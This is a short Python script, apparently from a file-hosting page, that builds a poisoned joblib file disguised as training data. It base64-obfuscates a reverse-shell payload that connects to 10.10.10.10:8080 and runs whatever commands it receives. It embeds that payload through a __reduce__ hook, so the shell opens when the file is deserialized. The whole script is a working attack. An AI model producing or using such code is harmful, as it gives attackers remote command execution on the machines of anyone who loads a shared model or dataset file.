File size: 932 Bytes
b27fafd
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import joblib
import base64
import textwrap

# Step 1: Define your reverse shell code
payload = textwrap.dedent("""
import socket
import subprocess
ip = "10.10.10.10"
p = 8080
s = socket.socket()
s.connect((ip, p))
while True:
    c = s.recv(1024).decode()
    if not c:
        break
    o = subprocess.getoutput(c)
    s.sendall(o.encode())
""").strip()

# Step 2: Obfuscate the payload using base64
encoded_payload = base64.b64encode(payload.encode()).decode()

# Step 3: Create a malicious class that triggers on deserialization
class Trigger:
    def __reduce__(self):
        cmd = (
            "import base64\n"
            f"exec(base64.b64decode('{encoded_payload}').decode())"
        )
        return (exec, (cmd,))

# Step 4: Dump it to a joblib file
with open("train_data_mod_obfuscated_fixed.joblib", "wb") as f:
    joblib.dump(Trigger(), f)

print("✅ Joblib file created: train_data_mod_obfuscated_fixed.joblib")